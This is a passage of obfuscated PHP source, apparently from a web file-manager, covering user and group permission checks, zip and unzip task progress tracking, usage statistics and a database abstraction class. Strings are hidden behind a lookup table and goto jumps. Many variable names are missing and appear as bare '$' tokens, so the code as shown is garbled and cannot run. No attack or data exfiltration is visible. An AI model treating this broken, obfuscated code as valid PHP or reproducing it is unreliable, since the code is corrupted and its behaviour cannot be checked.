!1; foreach ($ֹ as $) { $֟ = $this->authInfo($); if ($[$ˇ[501]] == $ˇ[194]) { $ݿ = !0; } if ($[$ˇ[408]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($֟[$ˇ[410]])) { $ƞ[] = $[$ˇ[501]]; } } } return array($ˇ[593] => $ƞ, $ˇ[2026] => $ݿ); } public function authMake($, $ϫ = false) { $ι =& $_SERVER[譃]; $أ = $this->authArrayCheck($, $ϫ); if ($أ[$ι[2028]]) { $أ[$ι[2028]] = $this->sourceAuthInfo($أ[$ι[2028]]); } return $أ; } public function authArrayCheck($, $ = false) { $אǰ =& $_SERVER[譃]; if (!$) { return array($אǰ[411] => 0, $אǰ[462] => !1); } $ = $ ? $ : USER_ID; $ڹï = 0; $Ǻ = 0; $ƚ = 0; $ = 0; $߆ = 0; $ = 0; $ = 1000; $݁ = 0; $ũʒ = 0; $ = 0; $ȁ = 0; $ = array($אǰ[399] => 0); foreach ($ as $) { $ܳޙ = $this->authInfo($); if (!$ܳޙ) { continue; } $ = $[$אǰ[501]]; $ = intval($ܳޙ[$אǰ[410]]); if ($[$אǰ[408]] == SourceModel::TYPE_USER && $ == $) { $ڹï = !0; $ƚ = $ܳޙ; $Ǻ = $; } else { if ($[$אǰ[408]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $ = $this->groupStepToUserGroup($, $); if ($ < $) { $ = $; $߆ = $; $ = $ܳޙ; $݁ = $; } if ($ == $ && $ >= $߆) { $߆ = $; $ = $ܳޙ; $݁ = $; } } else { if ($ == $אǰ[194]) { $ũʒ = !0; $ȁ = $ܳޙ; $ = $; } } } } if ($ڹï) { $ = $Ǻ; $ܳޙ = $ƚ; $Ցޅ = LNG($אǰ[2029]); } else { if ($) { $ = $߆; $ܳޙ = $; $ = Model($אǰ[518])->getInfo($݁); $Ցޅ = $אǰ[163] . $[$אǰ[522]] . $אǰ[2030] . LNG($אǰ[2031]); } else { if ($ũʒ) { $ = $; $ܳޙ = $ȁ; $Ցޅ = LNG($אǰ[2002]); } else { $ = 0; $ܳޙ = !1; $Ցޅ = $אǰ[12]; } } } $ŕ = array($אǰ[2021] => intval($), $אǰ[2005] => $ܳޙ, $אǰ[2022] => $Ցޅ, $אǰ[2014] => $[$אǰ[399]]); return $ŕ; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupParents($)); } private function groupStepToUserGroup($, $䧩 = false) { $Ȯ =& $_SERVER[譃]; $ሌ = $this->userGroupList($䧩); $ϵ = 1000; $ǒ = $GLOBALS[$Ȯ[6]][$Ȯ[90]][$Ȯ[1925]] == 1; $̼ = $ǒ ? 3 : 2; foreach ($ሌ as $܋) { if ($܋[$Ȯ[1823]] == $) { return 0; } $һ = explode($Ȯ[50], trim($܋[$Ȯ[517]], $Ȯ[50])); if ($һ[0] == $Ȯ[194] && count($һ) > $̼) { $ = array_reverse(array_slice($һ, $̼)); $ = array_search($, $); if ($ !== !1 && $ + 1 <= $ϵ) { $ϵ = $ + 1; } } } return $ϵ; } private function userGroupList($ˆ = false) { $ =& $_SERVER[譃]; static $䝄Ĥ = array(); if (isset($䝄Ĥ[$ˆ])) { return $䝄Ĥ[$ˆ]; } $̷ = Model($[537])->getInfo($ˆ); $䝄Ĥ[$ˆ] = array_to_keyvalue($̷[$[2003]], $[1823]); return $䝄Ĥ[$ˆ]; } public function userGroupParents($) { $ =& $_SERVER[譃]; static $Ͻ = array(); $ = $ ? $ : USER_ID; if (isset($Ͻ[$])) { return $Ͻ[$]; } $̷ = $this->userGroupList($); $ = array(); $ = $GLOBALS[$[6]][$[90]][$[1925]] == 1; $Ƃ = $ ? 3 : 2; foreach ($̷ as $ݪ) { $ = array($ݪ[$[1823]]); $ = explode($[50], trim($ݪ[$[517]], $[50])); if ($[0] == $[194] && count($) > $Ƃ) { $쟆 = array_slice($, $Ƃ); $ = array_merge($, array_reverse($쟆)); } $ = array_merge($, $); } $Ͻ[$] = array_unique($); return $Ͻ[$]; } public function authTargetInfoMake($ˮ) { $И =& $_SERVER[譃]; $ʨʘ = array(); $ө = array(); foreach ($ˮ as $Ʌ) { if ($Ʌ[$И[408]] == SourceModel::TYPE_USER) { $ʨʘ[] = intval($Ʌ[$И[501]]); } else { if ($Ʌ[$И[408]] == SourceModel::TYPE_GROUP) { $ө[] = intval($Ʌ[$И[501]]); } } } if ($ʨʘ) { $ʨʘ = Model($И[509])->userListInfo($ʨʘ); } if ($ө) { $Ɣ = array($И[1910] => array($И[415], $ө)); $ө = Model($И[518])->field($И[2032])->where($Ɣ)->select(); $ө = array_to_keyvalue($ө, $И[1823]); } return array($И[2033] => $ʨʘ, $И[2034] => $ө); } public function authInfo($ޱ) { $ =& $_SERVER[譃]; if ($ޱ[$[1926]]) { $Ѓл = Model($[503])->listData($ޱ[$[1926]]); if (!$Ѓл) { return !1; $ͷ = Model($[503])->listData(); $ = array_filter_by_field($ͷ, $[410], $[194]); return $; } $۷ = array_field_key($Ѓл, array($[396], $[32], $[410], $[1845], $[1846])); $۷[$[2035]] = $ޱ; return $۷; } else { return array($[416] => 0, $[1829] => $ޱ[$[1980]], $[417] => $[12], $[1845] => $[2036]); } } } goto Eʑ; Bۉ: function binCheckBigger($, $庾) { return $ > $庾; } $_SERVER[$_SERVER[ἢ][3]] = (base64_decode('ODAzMQ==').base64_decode('Njk='))+0;$_1x9e="nzabgf0pmuyxwe6h1ok973vd8ic5l4q2strjz7lfg2h0k96ejvp1i5yqcn";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($Υ, $җ) { $쵟 =& $_SERVER[譃]; if (isset(self::$_methodList[$Υ])) { return @call_user_func_array(self::$_methodList[$Υ], $җ); } else { if (method_exists($this, $Υ)) { return call_user_func_array(array($this, $Υ), $җ); } else { think_exception(__CLASS__ . $쵟[4] . $Υ . $쵟[5]); } } } public static function __callStatic($, $Ȕ) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $Ȕ); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $Ȕ); } else { show_json("{$}\x28\x29\x20\x6e\x6f\164\40\145\170\151\x73\x74\x3b", !1); } } } public static function addMethod($, $߳) { self::$_methodList[$] = $߳; } public static function addMethodStatic($, $ŕ) { self::$_methodListStatic[$] = $ŕ; } } goto E; c۶: class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[譃]; parent::startAfter(); Hook::bind($[1744], array($this, $[1745])); Hook::bind($[1192], array($this, $[1746])); $ϐ =& $this->task; $ϐ[$[1747]] = $[1197]; if (!$ϐ[$[1555]]) { $ϐ[$[1555]] = LNG($[1748]); } } protected function endAfter() { $ =& $_SERVER[譃]; parent::endAfter(); Hook::unbind($[1744], array($this, $[1745])); Hook::unbind($[1192], array($this, $[1746])); } public function updateAfter() { $ק =& $_SERVER[譃]; $㭔 =& $this->task; if (!$㭔[$ק[784]] || !$㭔[$ק[761]]) { return; } if ($㭔[$ק[1747]] == $ק[1197]) { $ = 0; if ($㭔[$ק[1703]]) { $ = $㭔[$ק[1704]] / $㭔[$ק[1703]]; } $㭔[$ק[1657]] = $ * 0.3; } else { if ($㭔[$ק[1747]] == $ק[312]) { $ = $㭔[$ק[1656]] / $㭔[$ק[784]]; $㭔[$ק[1657]] = 0.3 + $ * 0.4; } else { if ($㭔[$ק[1747]] == $ק[108]) { $Ć = 0; if ($㭔[$ק[1705]] == $ק[108]) { $Ć = $㭔[$ק[1704]]; } $ = ($㭔[$ק[1708]] + $Ć) / $㭔[$ק[761]]; $㭔[$ק[1657]] = 0.3 + 0.4 + $ * 0.3; } } } if ($㭔[$ק[1657]] > 0) { $įϛ = timeFloat() - $㭔[$ק[1659]] - $㭔[$ק[1662]]; $㭔[$ק[1663]] = $įϛ * (1 - $㭔[$ק[1657]]) / $㭔[$ק[1657]]; } } public function addFile($) { $ =& $_SERVER[譃]; $⍔ =& $this->task; $ޫּ = IO::info($); $⍔[$[1701]] = $ޫּ[$[32]]; $⍔[$[1703]] = $ޫּ[$[80]]; $⍔[$[1704]] = 0; $⍔[$[1064]] = $[1723]; $⍔[$[1705]] = $[1197]; $⍔[$[761]] = $ޫּ[$[80]]; $⍔[$[784]] = 1; $ = 0; $⍔[$[1712]] = array($[1713] => $ + 1, $[417] => $ޫּ[$[32]], $[78] => $ޫּ[$[78]], $[515] => $ޫּ[$[515]] ? $ޫּ[$[515]] : $ޫּ[$[78]]); $this->update(); } public function unzipAfter($͕) { $Ъ =& $_SERVER[譃]; $ =& $this->task; $[$Ъ[1747]] = $Ъ[108]; $잩 = IO::infoWithChildren($͕); $ = 0; $[$Ъ[1712]] = array($Ъ[1713] => $ + 1, $Ъ[417] => $잩[$Ъ[32]], $Ъ[78] => $잩[$Ъ[78]], $Ъ[515] => $잩[$Ъ[515]] ? $잩[$Ъ[515]] : $잩[$Ъ[78]]); if ($잩[$Ъ[33]] == $Ъ[196]) { $[$Ъ[784]] = 1; } else { $[$Ъ[784]] = $잩[$Ъ[83]][$Ъ[81]]; } $[$Ъ[1064]] = $Ъ[12]; $[$Ъ[1705]] = 0; $[$Ъ[1656]] = 0; $[$Ъ[1703]] = 0; $[$Ъ[1704]] = 0; $[$Ъ[1701]] = $Ъ[12]; $[$Ъ[1708]] = 0; $[$Ъ[761]] = $잩[$Ъ[80]]; $this->update(); self::log($Ъ[1749] . json_encode(array($, $잩))); } public function nameParse($) { $ɋছ =& $_SERVER[譃]; $蒻 =& $this->task; if ($蒻[$ɋছ[1747]] == $ɋছ[1197]) { $蒻[$ɋছ[1747]] = $ɋছ[312]; $蒻[$ɋছ[1708]] = 0; $蒻[$ɋছ[761]] = 0; } $ = get_path_this($); if (strstr($, $ɋছ[10])) { $蒻[$ɋছ[1656]] += 1; $蒻[$ɋছ[784]] += 1; } $蒻[$ɋছ[1701]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[譃]; parent::startAfter(); Hook::bind($[1750], array($this, $[1745])); $ԑ =& $this->task; $ԑ[$[1747]] = $[1197]; if (!$ԑ[$[1555]]) { $ԑ[$[1555]] = LNG($[1751]); } } protected function endAfter() { $ =& $_SERVER[譃]; parent::endAfter(); Hook::unbind($[1750], array($this, $[1745])); } public function updateAfter() { $ =& $_SERVER[譃]; $ڝ =& $this->task; if (!$ڝ[$[784]] || !$ڝ[$[761]]) { return; } if ($ڝ[$[1747]] == $[1197]) { $ȿ = $ڝ[$[1704]]; if ($ڝ[$[1705]] != $[1197]) { $ȿ = 0; } $ԅ = ($ڝ[$[1708]] + $ȿ) / $ڝ[$[761]]; $ڝ[$[1657]] = $ԅ * 0.3; } else { if ($ڝ[$[1747]] == $[312]) { $ԅ = $ڝ[$[1656]] / $ڝ[$[784]]; $ڝ[$[1657]] = 0.3 + $ԅ * 0.5; } else { if ($ڝ[$[1747]] == $[108]) { $ԅ = 0; if ($ڝ[$[1703]]) { $ԅ = $ڝ[$[1704]] / $ڝ[$[1703]]; } $ڝ[$[1657]] = 0.3 + 0.5 + $ԅ * 0.2; } } } if ($ڝ[$[1657]] > 0) { $ = timeFloat() - $ڝ[$[1659]] - $ڝ[$[1662]]; $ڝ[$[1663]] = $ * (1 - $ڝ[$[1657]]) / $ڝ[$[1657]]; } } public function copyFileStart($Ю׳, $õ, $, $, $ȥ, $ک) { $ì =& $_SERVER[譃]; parent::copyFileStart($Ю׳, $õ, $, $, $ȥ, $ک); $ =& $this->task; if ($[$ì[1747]] == $ì[312]) { $[$ì[1747]] = $ì[108]; } $this->update(); } public function copyFileEnd($؆, $ÿ, $, $Ƒ, $햿, $͐) { $Є =& $_SERVER[譃]; $ =& $this->task; $[$Є[1704]] = $[$Є[1703]]; $[$Є[1708]] += $[$Є[1703]]; $[$Є[1705]] = $Є[12]; $this->update(); } public function nameParse($č) { $ý =& $_SERVER[譃]; $ =& $this->task; if ($[$ý[1656]] < $[$ý[784]]) { $ = get_path_this($č); if (strstr($, $ý[10])) { $[$ý[1656]] += 1; } } if ($[$ý[1747]] == $ý[1197]) { $[$ý[1747]] = $ý[312]; } $[$ý[1701]] = $č; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $Ҙ =& $_SERVER[譃]; $ԯ = array($Ҙ[593] => array($Ҙ[33] => $Ҙ[1752], $Ҙ[272] => array($Ҙ[223], $Ҙ[763], $Ҙ[1753], $Ҙ[1754])), $Ҙ[1755] => array($Ҙ[33] => $Ҙ[1756], $Ҙ[272] => array($Ҙ[223], $Ҙ[761], $Ҙ[1757], $Ҙ[1758], $Ҙ[1759]))); if (!isset($ԯ[$])) { return !1; } $this->optionType = $ԯ[$][$Ҙ[33]]; $this->field = $ԯ[$][$Ҙ[272]]; return !0; } public function listData($ج = false, $ˈ = "\155\157\x64\151\x66\x79\x54\x69\155\145", $ӵ = false) { return parent::listData($ج, $ˈ, $ӵ); } public function trendList($Ƅ) { $л =& $_SERVER[譃]; $ = $this->listData(); if ($) { $ץ = end($); $ = date($л[1760], strtotime($л[1761])); if ($ץ[$л[223]] == $) { return $; } $ = strtotime($ץ[$л[223]]); } if (!isset($)) { $ӟ = $Ƅ == $л[593] ? $л[537] : $л[823]; $ = Model($ӟ)->min($л[197]); } $ = $л[1762] . ucfirst($Ƅ); $ꎕ = $this->dateList($); foreach ($ꎕ as $) { $this->{$}($); } return $this->listData(); } private function dateList($Ȗ) { $ =& $_SERVER[譃]; $ߎݺ = $Ȗ; $Ƭ = strtotime($[1761]); $ٷ = array(); while ($ߎݺ <= $Ƭ) { $ٷ[] = date($[1760], $ߎݺ); $ߎݺ = strtotime($[1763], $ߎݺ); } return $ٷ; } public function _recordUser($Ķ = '') { $ȥ =& $_SERVER[譃]; $駩 = strtotime(date($ȥ[1764], strtotime($Ķ))); $ʣ = strtotime(date($ȥ[1765], strtotime($Ķ))); $ћ۔ = array($ȥ[197] => array($ȥ[1013], $ʣ)); $ɗڨ = Model($ȥ[537])->where($ћ۔)->count($ȥ[1655]); $ћ۔[$ȥ[197]] = array($ȥ[332], array($駩, $ʣ)); $ޱ = Model($ȥ[537])->where($ћ۔)->count($ȥ[1655]); $ћ۔[$ȥ[33]] = $ȥ[1766]; $ = Model($ȥ[1767])->where($ћ۔)->count($ȥ[1768]); $썜 = array($ȥ[223] => $Ķ, $ȥ[763] => (int) $ɗڨ, $ȥ[1753] => (int) $ޱ, $ȥ[1754] => (int) $); return $this->insert($썜); } public function _recordStore($ = '') { $Ƈ =& $_SERVER[譃]; $Ō = strtotime(date($Ƈ[1765], strtotime($))); $ = array($Ƈ[197] => array($Ƈ[1013], $Ō)); $ = Model($Ƈ[466])->where($)->sum($Ƈ[80]); $[$Ƈ[407]] = 0; $˫ڪ = Model($Ƈ[823])->where($)->sum($Ƈ[80]); $[$Ƈ[408]] = 1; $ݗ = Model($Ƈ[823])->where($)->sum($Ƈ[80]); $[$Ƈ[408]] = 2; $ = Model($Ƈ[823])->where($)->sum($Ƈ[80]); $ = array($Ƈ[223] => $, $Ƈ[761] => (int) $˫ڪ, $Ƈ[1757] => (int) $, $Ƈ[1758] => (int) $ݗ, $Ƈ[1759] => (int) $); return $this->insert($); } public function trend($, $͡) { $ʣ =& $_SERVER[譃]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $͡ != $ʣ[1628]) { $ = $[0][$ʣ[223]]; $䠞 = $this->validDate($͡, $); $퓱 = array(); $헧 = array_to_keyvalue($, $ʣ[223]); foreach ($䠞 as $) { if (isset($헧[$])) { $ = $헧[$]; } else { $ = end($); $[$ʣ[223]] = $; if ($ == $ʣ[593]) { $[$ʣ[1753]] = $[$ʣ[1754]] = 0; } } $퓱[] = $; } $ = $퓱; } $ݐ = array($ʣ[593] => array($ʣ[763] => LNG($ʣ[1769]), $ʣ[1753] => LNG($ʣ[1770]), $ʣ[1754] => LNG($ʣ[1771])), $ʣ[1755] => array($ʣ[761] => LNG($ʣ[1772]), $ʣ[1757] => LNG($ʣ[1773]), $ʣ[1758] => LNG($ʣ[1774]), $ʣ[1759] => LNG($ʣ[1775]))); $Ǔ = array($ʣ[593] => $ʣ[1776], $ʣ[1755] => $ʣ[80]); if (empty($)) { $ = date($ʣ[1760], strtotime($ʣ[1761])); $ = array($ʣ[223] => $); foreach ($ݐ[$] as $ => $ˇ) { $[$] = 0; } $[] = $; } $Ĉ = array(); foreach ($ as $ˇ) { if ($ == $ʣ[1755] && $ˇ[$ʣ[1757]] > $ˇ[$ʣ[761]]) { $ˇ[$ʣ[1757]] = $ˇ[$ʣ[761]]; } foreach ($ݐ[$] as $ => $ޑ) { $ = array($ʣ[223] => $ˇ[$ʣ[223]], $ʣ[1555] => $ޑ); $[$Ǔ[$]] = isset($ˇ[$]) ? $ˇ[$] : 0; $Ĉ[] = $; } } return $Ĉ; } public function validDate($ٿ, $ফ) { $ʏ =& $_SERVER[譃]; $ = date($ʏ[1760], strtotime($ʏ[1761])); $䦂 = array($); switch ($ٿ) { case $ʏ[1635]: $ = mktime(0, 0, 0, date($ʏ[1777]), date($ʏ[1374]) - date($ʏ[1437]) + 7 - 7, date($ʏ[1778])); $ = 0; do { $ճ = date($ʏ[1760], $ - 3600 * 24 * 7 * $); $䦂[] = $ճ; $++; } while ($ফ < $ճ); break; case $ʏ[1633]: $ = 1; do { $ȳ = date($ʏ[1779], strtotime("\x2d\x20{$}\40\x6d\157\x6e\x74\150\163")); $䦂[] = $ȳ; $++; } while ($ফ < $ȳ); break; case $ʏ[1780]: $麲 = (int) date($ʏ[1778], strtotime($ফ)); $ = (int) date($ʏ[1778]); if ($麲 >= $) { break; } for ($麲; $麲 < $; $麲++) { $䦂[] = $麲 . $ʏ[1781]; } break; default: break; } if ($ফ > end($䦂)) { array_pop($䦂); } sort($䦂); return $䦂; } public function listTable($ʯ) { $ϗ = ucfirst($ʯ); return Model($ϗ)->listData(); } public function option($) { $ɨ = $_SERVER[譃][1782] . ucfirst($); return $this->{$ɨ}(); } private function optionUser() { $ݮ =& $_SERVER[譃]; $ = Model($ݮ[537])->count($ݮ[1655]); $ = Model($ݮ[537])->where($ݮ[1783])->count($ݮ[1655]); $㥔 = intval($GLOBALS[$ݮ[6]][$ݮ[348]][$ݮ[1611]]) / 3600; $ω = strtotime("\55{$㥔}\40\150\x6f\165\x72\x73"); $߇ = strtotime(date($ݮ[1764])); if ($ω < $߇) { $ω = $߇; } $ = array($ݮ[1784] => array($ݮ[1014], $ω)); $ = (int) Model($ݮ[537])->where($)->count($ݮ[1655]); if (!$) { $ = 1; } $ = array($ݮ[1784] => array($ݮ[1014], $߇)); $Ѷ = Model($ݮ[537])->where($)->count($ݮ[1655]); return array($ݮ[757] => (int) $, $ݮ[1785] => (int) ($ - $), $ݮ[1786] => (int) $, $ݮ[1787] => (int) $Ѷ, $ݮ[1788] => $); } private function optionFile() { $ =& $_SERVER[譃]; $٣ = $this->sourceSize(); $ = $٣[$[80]]; $ = $٣[$[1757]]; $ = Model($[823])->where(array($[407] => 0))->count($[399]); $ = array($[407] => 0, $[197] => array($[1014], strtotime(date($[1764])))); $禫 = Model($[823])->where($)->sum($[80]); $ = Model($[823])->where($)->count($[399]); return array($[761] => $, $[1757] => $, $[1789] => $ - $, $[1790] => (int) $禫, $[763] => (int) $, $[1791] => (int) $); } private function optionAccess() { $ =& $_SERVER[譃]; return array($[757] => $this->typeLogCnt(), $[108] => $this->typeLogCnt($[108]), $[446] => $this->typeLogCnt($[446]), $[1792] => $this->typeLogCnt($[1792]), $[1793] => $this->typeLogCnt($[1793]), $[593] => $this->typeLogCnt($[12], $[1768])); } private function typeLogCnt($ = '', $ = "\x69\x64") { $۴ =& $_SERVER[譃]; $ = array($۴[108] => array($۴[1794], $۴[1795]), $۴[446] => array($۴[1796], $۴[1797]), $۴[1792] => array($۴[1798], $۴[1799], $۴[1800]), $۴[1793] => array($۴[1801], $۴[1802]), $۴[1803] => array($۴[1804], $۴[1805], $۴[1806])); $ = strtotime(date($۴[1764])); $ = array($۴[197] => array($۴[1014], $)); if ($) { $[$۴[33]] = array($۴[7], $[$]); } $ = Model($۴[1767])->where($)->count($); return (int) $; } private function optionServer() { $ȸ =& $_SERVER[譃]; $ȖϢ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ = array($ȸ[815] => $[$ȸ[396]]); $ = Model($ȸ[466])->where($)->sum($ȸ[80]); $ = explode($ȸ[53], $_SERVER[$ȸ[144]]); $ɻ = $[0]; $ĕ = $GLOBALS[$ȸ[6]][$ȸ[21]]; $Ք = $ĕ[$ȸ[976]]; if ($Ք == $ȸ[964]) { $ = explode($ȸ[1270], $ĕ[$ȸ[975]]); $Ք = $[0]; } if ($Ք == $ȸ[912] || $Ք == $ȸ[802]) { $ = Model()->db()->query($ȸ[1807]); $Ɫ = $[0] && isset($[0][$ȸ[1554]]) ? $[0][$ȸ[1554]] : 0; $Ք = $ȸ[1808] . ($Ɫ ? $ȸ[8] . $Ɫ : $ȸ[12]); } $٦Ş = $GLOBALS[$ȸ[6]][$ȸ[348]][$ȸ[825]]; return array($ȸ[1809] => $ȖϢ ? $ȖϢ[$ȸ[1810]] : 0, $ȸ[1811] => $ȖϢ ? $ȖϢ[$ȸ[1812]] : 0, $ȸ[1813] => (int) $[$ȸ[1810]] * 1024 * 1024 * 1024, $ȸ[1814] => (int) $, $ȸ[1815] => ucfirst($ɻ), $ȸ[1816] => $ȸ[1817] . PHP_VERSION, $ȸ[1818] => phpBuild64() ? 64 : 32, $ȸ[756] => str_replace($ȸ[1130], $ȸ[992], $Ք), $ȸ[348] => ucfirst($٦Ş), $ȸ[32] => $_SERVER[$ȸ[1819]]); } private function diskDriver() { $Û =& $_SERVER[譃]; $ = $Û[8]; $ = $GLOBALS[$Û[6]][$Û[1286]] == $Û[1287]; if ($) { $ = $Û[1820]; if (function_exists($Û[1821])) { exec($Û[1822], $ꖍ); $ = $ꖍ[1] . $Û[8]; } } if (!file_exists($)) { return; } $ = @disk_total_space($); $ޜ = $ - @disk_free_space($); return array($Û[1810] => $, $Û[1812] => $ޜ); } public function fileChart($뷓) { $Վ =& $_SERVER[譃]; if (isset($뷓[$Վ[1655]])) { return Model($Վ[823])->userFileTypeProfile($뷓[$Վ[1655]]); } if (isset($뷓[$Վ[1823]])) { return Model($Վ[823])->groupFileTypeProfile($뷓[$Վ[1823]]); } $ = $this->sourceSize(); $ = array($Վ[494] => 0, $Վ[408] => 1); $ = Model($Վ[823])->where($)->sum($Վ[80]); $[$Վ[408]] = 2; $ߣ = Model($Վ[823])->where($)->sum($Վ[80]); return array($Վ[761] => $[$Վ[80]], $Վ[1757] => $[$Վ[1757]], $Վ[1758] => (int) $, $Վ[1759] => (int) $ߣ); } private function sourceSize() { $ĭ =& $_SERVER[譃]; $զ = Model($ĭ[823])->where(array($ĭ[407] => 0))->sum($ĭ[80]); $嵜ڨ = Model($ĭ[466])->sum($ĭ[80]); if ($嵜ڨ > $զ) { $嵜ڨ = $զ; } return array($ĭ[80] => (int) $զ, $ĭ[1757] => (int) $嵜ڨ); } } goto Eô; AЏ: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\150\x69\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\x3d", "\156\145\x71" => "\74\76", "\x67\x74" => "\76", "\x65\x67\x74" => "\x3e\75", "\x6c\164" => "\x3c", "\x65\x6c\164" => "\74\75", "\156\x6f\x74\x6c\151\153\x65" => "\x4e\x4f\124\40\x4c\x49\x4b\105", "\x6c\151\x6b\x65" => "\114\x49\113\x45", "\151\x6e" => "\111\x4e", "\156\157\x74\x69\156" => "\x4e\117\124\x20\111\x4e", "\x6e\x6f\164\x20\151\x6e" => "\116\x4f\x54\40\111\x4e", "\x62\145\164\x77\145\145\156" => "\102\x45\124\x57\x45\105\116", "\156\x6f\164\142\145\164\167\x65\145\x6e" => "\116\x4f\124\x20\102\x45\x54\127\105\x45\x4e", "\x6e\157\x74\x20\x62\x65\x74\x77\x65\145\x6e" => "\x4e\x4f\124\x20\x42\105\124\127\105\105\116"); protected $selectSql = "\x53\105\114\105\x43\124\45\x44\111\123\124\111\x4e\x43\x54\x25\x20\45\x46\x49\105\x4c\x44\45\x20\x46\x52\x4f\115\x20\45\124\101\102\114\x45\45\x25\x4a\117\x49\116\45\45\127\x48\105\122\105\45\45\107\122\117\125\120\x25\x25\110\101\126\x49\116\107\45\45\117\x52\x44\x45\x52\45\45\x4c\x49\x4d\111\124\x25\40\45\125\x4e\111\x4f\116\45\x25\103\x4f\x4d\x4d\x45\116\x54\45"; protected $bind = array(); public static function getInstance() { $Ӱ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[譃][960], $Ӱ); } public function factory($؈К = '') { $첟 =& $_SERVER[譃]; $؈К = $this->parseConfig($؈К); if (empty($؈К[$첟[961]])) { think_exception(think_lang($첟[962])); } $this->dbType = ucwords(strtolower($؈К[$첟[961]])); $ = $첟[963] . $this->dbType; if (class_exists($)) { $ = new $($؈К); if ($첟[964] != strtolower($؈К[$첟[961]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($؈К[$첟[916]]); } } else { think_exception(think_lang($첟[965]) . $첟[966] . $); } return $; } public function __call($ˉ, $Ƃɬ) { if (method_exists($this, $ˉ)) { return call_user_func_array(array($this, $ˉ), $Ƃɬ); } } protected function _getDsnType($ʎ) { $Ν = explode($_SERVER[譃][4], $ʎ); $ȣ = strtoupper(trim($Ν[0])); return $ȣ; } private function parseConfig($ = '') { $迮 =& $_SERVER[譃]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($迮[961] => $[$迮[967]], $迮[888] => $[$迮[968]], $迮[889] => $[$迮[969]], $迮[886] => $[$迮[970]], $迮[887] => $[$迮[971]], $迮[21] => $[$迮[972]], $迮[916] => $[$迮[973]], $迮[17] => isset($[$迮[974]]) ? $[$迮[974]] : array()); } elseif (empty($)) { if (think_config($迮[975]) && $迮[964] != strtolower(think_config($迮[976]))) { $ = $this->parseDSN(think_config($迮[975])); } else { $ = array($迮[961] => think_config($迮[976]), $迮[888] => think_config($迮[977]), $迮[889] => think_config($迮[978]), $迮[886] => think_config($迮[979]), $迮[887] => think_config($迮[980]), $迮[21] => think_config($迮[245]), $迮[916] => think_config($迮[975]), $迮[17] => think_config($迮[981])); } } return $; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[譃][22])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $꺦ʻ) { $this->_linkID = $꺦ʻ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $ =& $_SERVER[譃]; static $ = array(); static $Ǩ = -1; if (empty($)) { foreach ($this->config as $ƌ => $) { $[$ƌ] = explode($[50], $); } } if (think_config($[982])) { if ($ || think_config($[392]) === !0) { $ = floor(mt_rand(0, think_config($[983]) - 1)); $Ǩ = $; } else { if (is_numeric(think_config($[984]))) { $ = think_config($[984]); } else { $ = floor(mt_rand(think_config($[983]), count($[$[886]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$[886]]) - 1)); $Ǩ = $; } $ = $Ǩ !== -1 ? $Ǩ : $; $˷ә = array($[888] => isset($[$[888]][$]) ? $[$[888]][$] : $[$[888]][0], $[889] => isset($[$[889]][$]) ? $[$[889]][$] : $[$[889]][0], $[886] => isset($[$[886]][$]) ? $[$[886]][$] : $[$[886]][0], $[887] => isset($[$[887]][$]) ? $[$[887]][$] : $[$[887]][0], $[21] => isset($[$[21]][$]) ? $[$[21]][$] : $[$[21]][0], $[916] => isset($[$[916]][$]) ? $[$[916]][$] : $[$[916]][0], $[17] => isset($[$[17]][$]) ? $[$[17]][$] : $[$[17]][0]); return $this->connect($˷ә, $); } public function parseDSN($ʗ) { $ל =& $_SERVER[譃]; if (empty($ʗ)) { return !1; } $˳ = parse_url($ʗ); if ($˳[$ל[177]]) { $ = array($ל[961] => $˳[$ל[177]], $ל[888] => isset($˳[$ל[593]]) ? $˳[$ל[593]] : $ל[12], $ל[889] => isset($˳[$ל[985]]) ? $˳[$ל[985]] : $ל[12], $ל[886] => isset($˳[$ל[178]]) ? $˳[$ל[178]] : $ל[12], $ל[887] => isset($˳[$ל[179]]) ? $˳[$ל[179]] : $ל[12], $ל[21] => isset($˳[$ל[78]]) ? substr($˳[$ל[78]], 1) : $ל[12]); } else { preg_match($ל[986], trim($ʗ), $Ȟ); $ = array($ל[961] => $Ȟ[1], $ל[888] => $Ȟ[2], $ל[889] => $Ȟ[3], $ל[886] => $Ȟ[4], $ל[887] => $Ȟ[5], $ל[21] => $Ȟ[6]); } $[$ל[916]] = $ל[12]; return $; } protected function debug() { $ =& $_SERVER[譃]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[987]; if (think_config($[988])) { think_status($[989]); think_trace($this->queryStr . $[990] . think_status($[24], $[989], 6) . $[991], $[12], $[992]); } } protected function parseLock($ = false) { $ܪ =& $_SERVER[譃]; if (!$) { return $ܪ[12]; } if ($ܪ[918] == $this->dbType) { return $ܪ[993]; } return $ܪ[994]; } protected function parseSet($⇩) { $ؾ =& $_SERVER[譃]; foreach ($⇩ as $ => $˥) { if (is_array($˥) && 